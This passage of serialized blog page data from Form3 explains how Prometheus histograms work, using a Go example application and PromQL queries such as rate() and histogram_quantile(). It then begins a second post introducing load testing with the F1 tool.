on!",[],"rich_text$a83e5921-3ef1-4e40-9abe-4b677fee0d5f",{"variation":437,"version":438,"items":27770,"primary":27771,"id":27782,"slice_type":468,"slice_label":5},[],{"body":27772},[27773,27776],{"type":988,"text":27774,"spans":27775,"direction":445},"What is a histogram anyway?",[],{"type":25,"text":27777,"spans":27778,"direction":445},"Before we talk about histograms in Prometheus, let’s re-cap histograms in general. I think it’s normal at times like this to quote the wikipedia definition, but in this case I’m not sure that’s helpful.",[27779],{"start":19450,"end":753,"type":489,"data":27780},{"link_type":491,"url":27781,"target":493},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FHistogram","rich_text$d008937b-4275-47c8-ab05-a52a24423f90",{"variation":437,"version":527,"items":27784,"primary":27785,"id":27806,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":27786,"body":27787,"cta_label":5,"cta_link":27794,"aside_type":533,"aside_image":27795,"aside_video":27801,"aside_video_poster":27802,"aside_video_reduced_motion":27803,"aside_video_url":5,"aside_embed":27804,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":27805,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[27788,27791],{"type":25,"text":27789,"spans":27790,"direction":445},"A histogram is a way of summarising (not in the Prometheus sense!) how some data is distributed - how many of the values were high, how many were low and how many were somewhere in between.",[],{"type":25,"text":27792,"spans":27793,"direction":445},"Take a look at this histogram:",[],{"link_type":434},{"dimensions":27796,"alt":5,"copyright":5,"url":27798,"id":27799,"edit":27800},{"width":6562,"height":27797},371,"\u002F_prismic-media\u002Fa1be5616b69bd2ea-7ucHYp9pPxTMEcqs_a51bad23-760d-4a47-a7da-2dbe259.png","7ucHYp9pPxTMEcqs",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$fdd1b400-767a-46c2-81a6-0b40e9b805f9",{"variation":437,"version":438,"items":27808,"primary":27809,"id":27814,"slice_type":468,"slice_label":5},[],{"body":27810},[27811],{"type":25,"text":27812,"spans":27813},"It shows the distribution of a dataset. Some values are low (\u003C=10), some are medium (>10 and \u003C=100) and some are high (>100 and \u003C=1000). The histogram groups the data into buckets based on these ranges and counts how many values are in each bucket. This gives us some insight into how the data is distributed across its range of values. When deciding how to draw a histogram, you normally choose bucket ranges that are sensible for the data and meaningful to the analysis.",[],"rich_text$b9883d6c-e12c-46ec-920b-b3395d5c7470",{"variation":437,"version":438,"items":27816,"primary":27817,"id":27837,"slice_type":468,"slice_label":5},[],{"body":27818},[27819,27822,27825,27828,27831,27834],{"type":988,"text":27820,"spans":27821,"direction":445},"What about Prometheus histograms?",[],{"type":25,"text":27823,"spans":27824,"direction":445},"Now that we know what a histogram is, let’s talk about Prometheus histograms. Prometheus histograms are a little different to the above example in three ways:",[],{"type":3373,"text":27826,"spans":27827,"direction":445},"The buckets are cumulative - that is to say that each bucket contains values less than or equal to the bucket’s upper threshold.",[],{"type":3373,"text":27829,"spans":27830,"direction":445},"A Prometheus histogram metric is also a time series - the example we say above can be thought of a simple example of a Prometheus histogram at an instant in time. But, Prometheus records these histograms over time so things are a little more complicated when you start writing queries.",[],{"type":3373,"text":27832,"spans":27833,"direction":445},"The time series itself is cumulative - the buckets in the histogram are always increasing so that the most recent instance of the histogram shows the total values for each of the buckets since the metric was first recorded.",[],{"type":25,"text":27835,"spans":27836,"direction":445},"Let’s focus on each of these differences in turn.",[],"rich_text$a080d1b2-015a-4a4f-b29f-264034e42bec",{"variation":437,"version":527,"items":27839,"primary":27840,"id":27864,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":27841,"body":27842,"cta_label":5,"cta_link":27853,"aside_type":533,"aside_image":27854,"aside_video":27859,"aside_video_poster":27860,"aside_video_reduced_motion":27861,"aside_video_url":5,"aside_embed":27862,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":27863,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[27843,27847,27850],{"type":25,"text":27844,"spans":27845,"direction":445},"1. The buckets are cumulative",[27846],{"start":398,"end":871,"type":593},{"type":25,"text":27848,"spans":27849,"direction":445},"In the above example, each bucket was exclusive of the values on either side. The values that were less than or equal to 10 only appeared in the \u003C=10 bucket and not in any of the others.",[],{"type":25,"text":27851,"spans":27852,"direction":445},"Prometheus histograms are cumulative. In Prometheus, our example above would have different buckets: \u003C=10, \u003C=100 and \u003C=1000. Let’s see how this would look:",[],{"link_type":434},{"dimensions":27855,"alt":5,"copyright":5,"url":27856,"id":27857,"edit":27858},{"width":6562,"height":27797},"\u002F_prismic-media\u002F8c534cf40bae7597-t3rbQV9sVVvisnpb_d052a828-efc6-4ae3-8ac9-37c7171.png","t3rbQV9sVVvisnpb",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$93236aff-5280-45d5-82f4-5ca0db1e23cd",{"variation":437,"version":438,"items":27866,"primary":27867,"id":27893,"slice_type":468,"slice_label":5},[],{"body":27868},[27869,27872,27876,27879,27882,27885,27889],{"type":25,"text":27870,"spans":27871},"You can see that now, each bucket is bigger than the one before and contains a sum of all values up until the bucket’s threshold.",[],{"type":25,"text":27873,"spans":27874},"2. Prometheus histograms are time series’",[27875],{"start":398,"end":1977,"type":593},{"type":25,"text":27877,"spans":27878},"Prometheus scrapes metrics from a process at intervals. Each time it scrapes a histogram metric, it will receive a histogram similar to the one above - a cumulative histogram with “less than or equal to” buckets.",[],{"type":25,"text":27880,"spans":27881},"What’s important to understand is that when you’re querying the histogram, you’re suddenly dealing with a time series of histograms. The histogram metric itself contains a range of values–one for each point in time that a scrape occurred–and each value represents a histogram like the one above.",[],{"type":25,"text":27883,"spans":27884},"Each histogram value–scraped at a scrape interval–summarises the distribution of values recorded by the process since the last scrape.",[],{"type":25,"text":27886,"spans":27887},"3. The time series itself is cumulative",[27888],{"start":398,"end":4219,"type":593},{"type":25,"text":27890,"spans":27891},"Each time the histogram is scraped by Prometheus, the values are not reset. This means that the counts in each bucket are cumulative over the lifetime of the metric (at least in the memory of each process) and that it’s really the change in each bucket’s values the tells us the distribution of observations since the last scrape.",[27892],{"start":13003,"end":13077,"type":765},"rich_text$95e3b000-e1ef-4abe-a854-5f3792f6e6a2",{"variation":437,"version":438,"items":27895,"primary":27896,"id":27915,"slice_type":468,"slice_label":5},[],{"body":27897},[27898,27901,27907,27911],{"type":988,"text":27899,"spans":27900,"direction":445},"An example",[],{"type":25,"text":27902,"spans":27903,"direction":445},"Let’s put all of these ideas into practice. The examples below can all be found here along with a Docker Compose file for running a sample application and Prometheus.",[27904],{"start":3872,"end":5321,"type":489,"data":27905},{"link_type":491,"url":27906,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fprometheus-histogram-example",{"type":25,"text":27908,"spans":27909,"direction":445},"Example application",[27910],{"start":398,"end":6262,"type":593},{"type":25,"text":27912,"spans":27913,"direction":445},"Let’s start with an example application, written in Go. To begin with, let’s configure the application to listen for HTTP requests on port 8080 and handle Prometheus scrapes on the \u002Fmetrics route:",[27914],{"start":15352,"end":10863,"type":593},"rich_text$f844ad83-ef01-4c03-9f20-8ceb2e66e72f",{"variation":437,"version":438,"items":27917,"primary":27918,"id":27925,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":27920},"go",[27921],{"type":27922,"text":27923,"spans":27924},"preformatted","package main\n\nimport (\n    \"log\"\n    \"net\u002Fhttp\"\n    \"github.com\u002Fprometheus\u002Fclient_golang\u002Fprometheus\u002Fpromhttp\"\n)\n\nfunc main () {\n    http.Handle(\"\u002Fmetrics\", promhttp.Handler())\n    log.Fatal(http.ListenAndServe(\":8080\", nil))\n}",[],"code_block$58032cb8-3b1a-441d-ab4c-c7681a29bd4b","code_block",{"variation":437,"version":438,"items":27928,"primary":27929,"id":27934,"slice_type":468,"slice_label":5},[],{"body":27930},[27931],{"type":25,"text":27932,"spans":27933},"Now, let’s create a histogram metric with some predefined buckets:",[],"rich_text$9db6fa51-76a0-4dc1-bae0-8be44dc7536e",{"variation":437,"version":438,"items":27936,"primary":27937,"id":27942,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":27938},[27939],{"type":27922,"text":27940,"spans":27941},"package main\n\nimport (\n    \"log\"\n    \"net\u002Fhttp\"\n    \"github.com\u002Fprometheus\u002Fclient_golang\u002Fprometheus\"\n    \"github.com\u002Fprometheus\u002Fclient_golang\u002Fprometheus\u002Fpromhttp\"\n    \"github.com\u002Fprometheus\u002Fclient_golang\u002Fprometheus\u002Fpromauto\"\n)\n\nfunc main () {\n    histogram := promauto.NewHistogram(prometheus.HistogramOpts{\n        Name:    \"histogram_metric\",\n        Buckets: []float64{1.0, 2.0, 3.0, 4.0, 5.0},\n    })\n    http.Handle(\"\u002Fmetrics\", promhttp.Handler())\n    log.Fatal(http.ListenAndServe(\":8080\", nil))\n}",[],"code_block$c9ea913f-784a-4028-bd1c-b0a250eb84f4",{"variation":437,"version":438,"items":27944,"primary":27945,"id":27950,"slice_type":468,"slice_label":5},[],{"body":27946},[27947],{"type":25,"text":27948,"spans":27949},"Finally, let’s run a function in the background to record values (or observations) in the histogram:",[],"rich_text$bc5e1e1e-d871-4bf0-88b4-676a922a2031",{"variation":437,"version":438,"items":27952,"primary":27953,"id":27958,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":27954},[27955],{"type":27922,"text":27956,"spans":27957},"func main () {\n    histogram := promauto.NewHistogram(prometheus.HistogramOpts{\n        Name:    \"histogram_metric\",\n        Buckets: []float64{1.0, 2.0, 3.0, 4.0, 5.0},\n    })\n    go func() {\n        for {\n            histogram.Observe(rand.Float64() * 5.0)\n            time.Sleep(1 * time.Second)\n        }\n    }()\n    http.Handle(\"\u002Fmetrics\", promhttp.Handler())\n    log.Fatal(http.ListenAndServe(\":8080\", nil))\n}",[],"code_block$58f25e68-7abd-4ea9-ae8a-7d3250ca9bfc",{"variation":437,"version":438,"items":27960,"primary":27961,"id":27973,"slice_type":468,"slice_label":5},[],{"body":27962},[27963,27969],{"type":25,"text":27964,"spans":27965},"See here for the full file, but note that all we’re doing in this application is observing a random number between 0 and 5 once every second. The random number is a float, so each value will likely be different. We’re expecting the histogram to count the observations that fall into each of the buckets, which are separated by a value of 1.",[27966],{"start":4603,"end":1633,"type":489,"data":27967},{"link_type":491,"url":27968},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fprometheus-histogram-example\u002Fblob\u002Fmaster\u002Fapplication\u002Fmain.go",{"type":25,"text":27970,"spans":27971},"Bucket thresholds are floats too, but in this example I’ve chosen integers to try to make things simpler.",[27972],{"start":398,"end":3092,"type":593},"rich_text$8180ccc9-5f1f-47d3-86ec-35733bacff79",{"variation":437,"version":438,"items":27975,"primary":27976,"id":27987,"slice_type":468,"slice_label":5},[],{"body":27977},[27978,27981],{"type":988,"text":27979,"spans":27980,"direction":445},"Example metric",[],{"type":25,"text":27982,"spans":27983,"direction":445},"Now that we’ve got an example application that will do some work, record some metric values and expose them to Prometheus, let’s try running it and seeing the metric in Prometheus. Running docker-compose up against this docker-compose.yml file should get you setup with the application and Prometheus running locally.",[27984],{"start":3310,"end":6415,"type":489,"data":27985},{"link_type":491,"url":27986,"target":493},"https:\u002F\u002Fgithub.com\u002Fandykuszyk\u002Fprometheus-histogram-example\u002Fblob\u002Fmaster\u002Fdocker-compose.yml","rich_text$26b73f36-85f4-4ee5-84c7-606232f88513",{"variation":437,"version":527,"items":27989,"primary":27990,"id":28012,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":27991,"body":27992,"cta_label":5,"cta_link":27999,"aside_type":533,"aside_image":28000,"aside_video":28007,"aside_video_poster":28008,"aside_video_reduced_motion":28009,"aside_video_url":5,"aside_embed":28010,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":28011,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[27993],{"type":25,"text":27994,"spans":27995,"direction":445},"Open up Prometheus (http:\u002F\u002Flocalhost:9090) and try searching for our metric with histogram_metric_bucket. You should see something like this:",[27996],{"start":7460,"end":1977,"type":489,"data":27997},{"link_type":491,"url":27998,"target":493},"http:\u002F\u002Flocalhost:9090\u002F",{"link_type":434},{"dimensions":28001,"alt":5,"copyright":5,"url":28004,"id":28005,"edit":28006},{"width":28002,"height":28003},760,578,"\u002F_prismic-media\u002Feda3148c38f03ed3-FcI1aXKHzzFkUf-C_ef651c83-605d-4d10-9d44-3204f63.png","FcI1aXKHzzFkUf-C",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$295702f4-f950-4e90-adac-a38e161653b1",{"variation":437,"version":438,"items":28014,"primary":28015,"id":28051,"slice_type":468,"slice_label":5},[],{"body":28016},[28017,28020,28023,28030,28033,28038,28042,28048],{"type":25,"text":28018,"spans":28019},"You may notice when you’re typing histogram_metric that two other metrics are listed as well: histogram_metric_count and histogram_metric_sum. This is because, in addition to the data that represents a histogram as we discussed above, histogram metrics in Prometheus also expose a cumulative count of all observations and a cumulative sum of all observations. This is particularly useful if, for example, you want to know the average duration of some thing as well as how many times per second it happened - the_count series can be used with the rate()function to give you the per-second rate of change",[],{"type":25,"text":28021,"spans":28022},"OK, so what are we looking at when we query the metric? There are a few key points to note:",[],{"type":1151,"text":28024,"spans":28025},"We are looking at an instant vector, which means we’re seeing the latest set of values scraped by Prometheus (as opposed to a range of values over time). In other words, we’re looking at a cumulative histogram just like the example we discussed above.",[28026,28027],{"start":703,"end":628,"type":765},{"start":703,"end":628,"type":489,"data":28028},{"link_type":491,"url":28029},"https:\u002F\u002Fprometheus.io\u002Fdocs\u002Fprometheus\u002Flatest\u002Fquerying\u002Fbasics\u002F#instant-vector-selectors",{"type":1151,"text":28031,"spans":28032},"Each time Prometheus scrapes a histogram, it collects an instant vector like this one.",[],{"type":1151,"text":28034,"spans":28035},"After the metric name in {} are a set of labels which add dimensions to the histogram’s data (you can filter the values based on label criteria).",[28036,28037],{"start":1066,"end":3485,"type":765},{"start":1977,"end":9251,"type":765},{"type":1151,"text":28039,"spans":28040},"The most important of these is the le label which is the “less than or equal to” bucket threshold.",[28041],{"start":628,"end":846,"type":765},{"type":1151,"text":28043,"spans":28044},"The value for le=1 is the cumulative count of all observations \u003C=1. The same is true for the other le values, which is why the counts always increase as the value of le increases - all the buckets are cumulative.",[28045,28046,28047],{"start":1951,"end":2769,"type":765},{"start":19482,"end":1481,"type":765},{"start":9156,"end":3044,"type":765},{"type":25,"text":28049,"spans":28050},"So, now we have a cumulative count of all observations in each of our buckets. Whilst that (hopefully) makes sense so far, it’s not particularly useful for helping us understand the underlying distribution of the observations made in our instrumented program. We need a good way to query histograms.",[],"rich_text$92c763a3-ea62-4833-b44a-dc5c82f784b2",{"variation":437,"version":438,"items":28053,"primary":28054,"id":28072,"slice_type":468,"slice_label":5},[],{"body":28055},[28056,28059,28063],{"type":988,"text":28057,"spans":28058,"direction":445},"Example query",[],{"type":25,"text":28060,"spans":28061,"direction":445},"The frequency of observations",[28062],{"start":398,"end":871,"type":593},{"type":25,"text":28064,"spans":28065,"direction":445},"First of all, before we dive into understanding the distribution of values in our histogram, let’s just back-track to the fact that the histogram also exposes a _count which we can use to understand the frequency of observations per second. This might be particularly useful in the example of recording HTTP request durations - the histogram _bucket series will tell you how long the requests tool, but the _count series can also be used to tell you how many requests were made per second. Understanding the rate of observations is easy with the following Prometheus query:",[28066,28067,28069],{"start":9289,"end":21710,"type":765},{"start":13563,"end":28068,"type":765},349,{"start":28070,"end":28071,"type":765},407,413,"rich_text$12a2b353-43c6-428d-90ff-c1a1bb9eb96f",{"variation":437,"version":438,"items":28074,"primary":28075,"id":28080,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":28076},[28077],{"type":27922,"text":28078,"spans":28079},"rate(histogram_metric_count[1m])",[],"code_block$d81355dd-788f-4500-b8a5-515bd8ad71ae",{"variation":437,"version":438,"items":28082,"primary":28083,"id":28089,"slice_type":468,"slice_label":5},[],{"body":28084},[28085],{"type":25,"text":28086,"spans":28087,"direction":445},"This query takes the observations for the last minute ([1m]) and calculates the per-second rate of change of the count, thus giving us the number of observations per second.",[28088],{"start":3853,"end":592,"type":765},"rich_text$f7e0af2d-a6f9-4be9-ad21-92b502f47b4b",{"variation":437,"version":527,"items":28091,"primary":28092,"id":28118,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":28093,"body":28094,"cta_label":5,"cta_link":28106,"aside_type":533,"aside_image":28107,"aside_video":28113,"aside_video_poster":28114,"aside_video_reduced_motion":28115,"aside_video_url":5,"aside_embed":28116,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":28117,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[28095,28099,28102],{"type":25,"text":28096,"spans":28097,"direction":445},"The distribution of observations",[28098],{"start":398,"end":5489,"type":593},{"type":25,"text":28100,"spans":28101,"direction":445},"This is where the real magic happens. We have some high-frequency event (again, think web requests) where a large number of observations (e.g. request durations) are made in-between each of Prometheus’ scrape intervals. We use a histogram metric to record the observations and now we want to query the metric to give us some insight into how the values are distributed within the scrape interval and over time.",[],{"type":25,"text":28103,"spans":28104,"direction":445},"Let’s build up the query step-by-step. First, let’s just query the metric with histogram_metric_bucket:",[28105],{"start":3084,"end":4073,"type":765},{"link_type":434},{"dimensions":28108,"alt":5,"copyright":5,"url":28110,"id":28111,"edit":28112},{"width":28109,"height":6965},759,"\u002F_prismic-media\u002F7aff510bb73e1956-pnCPdR9rqkHPLMwb_cdca28c5-46a6-4b39-bfb9-130c1c9.png","pnCPdR9rqkHPLMwb",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$3041a53e-ed98-4327-ad19-548b46b13904",{"variation":437,"version":527,"items":28120,"primary":28121,"id":28144,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":28122,"body":28123,"cta_label":5,"cta_link":28132,"aside_type":533,"aside_image":28133,"aside_video":28139,"aside_video_poster":28140,"aside_video_reduced_motion":28141,"aside_video_url":5,"aside_embed":28142,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":28143,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[28124,28128],{"type":25,"text":28125,"spans":28126,"direction":445},"This shows us the the cumulative count of observations in each of our buckets.",[28127],{"start":398,"end":9216,"type":593},{"type":25,"text":28129,"spans":28130,"direction":445},"Now, let’s take a range of values from the metric for the last minute with histogram_metric_bucket[1m]:",[28131],{"start":2651,"end":4073,"type":765},{"link_type":434},{"dimensions":28134,"alt":5,"copyright":5,"url":28136,"id":28137,"edit":28138},{"width":28135,"height":8905},762,"\u002F_prismic-media\u002Fbc48c7e28569a59c-vx-b9HNdc86MSim0_c29665f7-9586-43d8-a4b4-b1532e6.png","vx-b9HNdc86MSim0",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$7cf20f5f-085f-4ff8-936f-74bd9a7a67bc",{"variation":437,"version":527,"items":28146,"primary":28147,"id":28171,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":28148,"body":28149,"cta_label":5,"cta_link":28158,"aside_type":533,"aside_image":28159,"aside_video":28166,"aside_video_poster":28167,"aside_video_reduced_motion":28168,"aside_video_url":5,"aside_embed":28169,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":28170,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[28150,28154],{"type":25,"text":28151,"spans":28152,"direction":445},"Now we have the cumulative counts for each bucket, but over the last minute’s scrape intervals.",[28153],{"start":398,"end":3885,"type":593},{"type":25,"text":28155,"spans":28156,"direction":445},"Let’s see how those buckets have been changing over time by looking at the per-second rate of change of each bucket with rate(histogram_metric_bucket[1m]):",[28157],{"start":19436,"end":4522,"type":765},{"link_type":434},{"dimensions":28160,"alt":5,"copyright":5,"url":28163,"id":28164,"edit":28165},{"width":28161,"height":28162},763,489,"\u002F_prismic-media\u002Fcdaf529c60efd111-kTzx60MB-UWdTGAZ_9a9b8ccd-7641-4a2f-b6ef-c143289.png","kTzx60MB-UWdTGAZ",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$cd076f2b-31a1-4cd9-9dd0-21deff0002b9",{"variation":437,"version":527,"items":28173,"primary":28174,"id":28201,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":28175,"body":28176,"cta_label":5,"cta_link":28189,"aside_type":533,"aside_image":28190,"aside_video":28196,"aside_video_poster":28197,"aside_video_reduced_motion":28198,"aside_video_url":5,"aside_embed":28199,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":28200,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[28177,28181],{"type":25,"text":28178,"spans":28179,"direction":445},"This shows us how frequently observations have been made in each of the buckets over the last minute",[28180],{"start":398,"end":3964,"type":593},{"type":25,"text":28182,"spans":28183,"direction":445},"Finally, we can use the Prometheus function histogram_quantile() to turn this information into useful insight. Because we have the rate of change of each of the histogram buckets, Prometheus can now work out which bucket label contains a given quantile (e.g. the 95th percentile). This means that we can now find out the approximate value at which a given quantile was represented in the data. For example, histogram_quantile(0.95, rate(histogram_metric_bucket[1m])):",[28184,28187],{"start":2674,"end":4083,"type":489,"data":28185},{"link_type":491,"url":28186,"target":493},"https:\u002F\u002Fprometheus.io\u002Fdocs\u002Fprometheus\u002Flatest\u002Fquerying\u002Ffunctions\u002F#histogram_quantile",{"start":28070,"end":28188,"type":765},466,{"link_type":434},{"dimensions":28191,"alt":5,"copyright":5,"url":28193,"id":28194,"edit":28195},{"width":28192,"height":21512},757,"\u002F_prismic-media\u002Ff5eed894285d83b0-oqHMaN62go2_FaZn_567c5222-7ace-47e2-9301-8bcc686.png","oqHMaN62go2_FaZn",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$e3d7d156-eb46-40dc-82ab-7d828646f3af",{"variation":437,"version":438,"items":28203,"primary":28204,"id":28209,"slice_type":468,"slice_label":5},[],{"body":28205},[28206],{"type":25,"text":28207,"spans":28208},"Here you can see that over the last minute the approximate value of our observations at the 95th percentile is 4.72. Insight! Remember that each time Prometheus scrapes the value of the histogram, it’s pulling back a cumulative count of all the buckets in our histogram (just like the examples at the beginning of this blog). Over time (e.g. the one minute interval in this example), that’s a lot of data and, over a time-series (e.g. a chart showing the last 6 hours), that’s a lot of data to summarise! There are lots of ways to try to glean insight from this data, but the example given here is the simplest. You might want to try querying different quantiles to see how your system is performing - you’d find the median value at quantile 0.5 and the maximum values at quantile 1.0.",[],"rich_text$155ca1e9-51c6-4272-a153-05d6f589fe27",{"variation":437,"version":438,"items":28211,"primary":28212,"id":28226,"slice_type":468,"slice_label":5},[],{"body":28213},[28214,28217,28220],{"type":988,"text":28215,"spans":28216,"direction":445},"Prometheus at Form3",[],{"type":25,"text":28218,"spans":28219,"direction":445},"At Form3, we run a distributed system with lots of components communicating over HTTP, or via message brokers. We use Prometheus Histograms extensively to instrument things like processing times, because they allow us to aggregate telemetry from all the replicas of our services and gain insight into the distribution of a large number observations from all over our platform.",[],{"type":25,"text":28221,"spans":28222,"direction":445},"We find Prometheus itself to be an indispensable monitoring tool, and make use of Grafana Cloud to provide a robust monitoring stack, with long-term metrics storage.",[28223],{"start":1406,"end":3885,"type":489,"data":28224},{"link_type":491,"url":28225,"target":493},"https:\u002F\u002Fgrafana.com\u002Fproducts\u002Fcloud\u002F","rich_text$57a73063-c189-4aea-ba72-738bf67b0634",{"variation":437,"version":438,"items":28228,"primary":28229,"id":28240,"slice_type":468,"slice_label":5},[],{"body":28230},[28231,28234,28237],{"type":988,"text":28232,"spans":28233,"direction":445},"Summary \u003C\u003C--that's a Prometheus pun!",[],{"type":25,"text":28235,"spans":28236,"direction":445},"Of the four metric types that Prometheus understands, I’ve found the histogram the most difficult to get to grips with. Histograms and Summaries can be used for similar things, but histograms are very versatile and are a great way of understanding processing durations in a distributed system.",[],{"type":25,"text":28238,"spans":28239,"direction":445},"I hope this post helped you understand histograms a little better!",[],"rich_text$5399cdc1-1b86-49d0-a258-530257251093",{"id":28242,"uid":28243,"type":25949,"data":28244},"alz1LhEAAC0AUWhH","conf42-golang-2022-load-testing-with-f1",{"title":28245,"excerpt":28246,"card_image":28247,"published_date":28252,"reading_time":1130,"tag":205,"dek":28246,"featured_image":28253,"about_form3":28254,"client_about_heading":5,"client_about_body":28255,"author_name":18970,"author_title":18971,"author_photo":28256,"author_bio":28259,"author_linkedin":28262,"slices":28264,"meta_title":28245,"meta_description":28618},"Conf42 Golang 2022: Load testing with F1","Due to a lack of functionality in existing solutions, we wrote our own open source load testing tool, F1, at Form3 to test our asynchronous system. This talk gives you an introduction to performance testing, a comparison of common testing tools and a short introduction of how to use f1 to write your own testing scenarios in Go.",{"dimensions":28248,"alt":28245,"copyright":5,"url":28249,"id":28250,"edit":28251},{"width":412,"height":412},"\u002F_prismic-media\u002Fff9159f4994f3110-DeKK8qBPE_Jj-NQ-_conf42-golang-2022-load-testing.png","DeKK8qBPE_Jj-NQ-",{"x":398,"y":398,"zoom":399,"background":400},"2022-04-06",{},[],[],{"dimensions":28257,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":28258},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[28260],{"type":25,"text":25971,"spans":28261},[],{"link_type":491,"key":28263,"url":25975,"target":493},"95bf6da5-ec5e-4530-9b60-2a83aea7b7b4",[28265,28274,28282,28303,28314,28325,28336,28347,28405,28428,28442,28476,28487,28495,28506,28514,28525,28536,28544,28552,28560,28568,28576,28597],{"variation":437,"version":438,"items":28266,"primary":28267,"id":28273,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":28268,"caption":5},{"embed_url":28269,"type":2048,"version":2049,"title":28270,"author_name":27138,"author_url":27139,"provider_name":283,"provider_url":2050,"thumbnail_url":28271,"thumbnail_width":2052,"thumbnail_height":2053,"html":28272,"height":2055,"width":2056},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=yKJ_h0K6liM","Load testing with F1 | Adelina Simion & Andy Kuszyk | Conf42 Golang 2022","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FyKJ_h0K6liM\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FyKJ_h0K6liM?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Load testing with F1 | Adelina Simion & Andy Kuszyk | Conf42 Golang 2022\">\u003C\u002Fiframe>","embed$9a987ac3-f63e-4877-863e-df0284fbdf82",{"variation":437,"version":438,"items":28275,"primary":28276,"id":28281,"slice_type":468,"slice_label":5},[],{"body":28277},[28278],{"type":988,"text":28279,"spans":28280,"direction":445},"What is performance testing?",[],"rich_text$9adfd7c7-eb11-4437-b827-45d518f323b6",{"variation":437,"version":527,"items":28283,"primary":28284,"id":28302,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":28285,"body":28286,"cta_label":5,"cta_link":28290,"aside_type":533,"aside_image":28291,"aside_video":28297,"aside_video_poster":28298,"aside_video_reduced_motion":28299,"aside_video_url":5,"aside_embed":28300,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":28301,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[28287],{"type":25,"text":28288,"spans":28289,"direction":445},"Performance testing is the general name for tests that check how the system behaves and performs. The purpose of these tests is to examine stability, scalability and reliability of your software and infrastructure. Generally, performance tests are integration tests that should test your system end-to-end. They live in the middle of the testing pyramid.",[],{"link_type":434},{"dimensions":28292,"alt":5,"copyright":5,"url":28294,"id":28295,"edit":28296},{"width":28002,"height":28293},620,"\u002F_prismic-media\u002Fa6157a146d690db1-6imSffqDxNhZEvJw_9616f291-7a0f-48c5-8383-0a22e32.png","6imSffqDxNhZEvJw",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$3505e6c3-50de-42a3-9ef7-92048c58b217",{"variation":437,"version":438,"items":28304,"primary":28305,"id":28313,"slice_type":468,"slice_label":5},[],{"body":28306},[28307,28310],{"type":25,"text":28308,"spans":28309},"Before performance testing, it’s important to determine your system’s business goals, so you can tell if your system behaves satisfactorily or not according to your customer needs. Often, performance testing is done on anticipated future load to see a system’s growth runway. This is important for a high volume payments platform like ours.",[],{"type":25,"text":28311,"spans":28312},"Under the umbrella of performance testing, we can look at 3 test subtypes.",[],"rich_text$698292a5-5161-4eb7-9dcd-c9a62524ff02",{"variation":437,"version":438,"items":28315,"primary":28316,"id":28324,"slice_type":468,"slice_label":5},[],{"body":28317},[28318,28321],{"type":988,"text":28319,"spans":28320,"direction":445},"Load tests",[],{"type":25,"text":28322,"spans":28323,"direction":445},"Load testing tells us how many concurrent requests your system can handle. These tests should be performed all the time in order to ensure your system is behaving correctly, which is why it should be integrated into your continuous integration 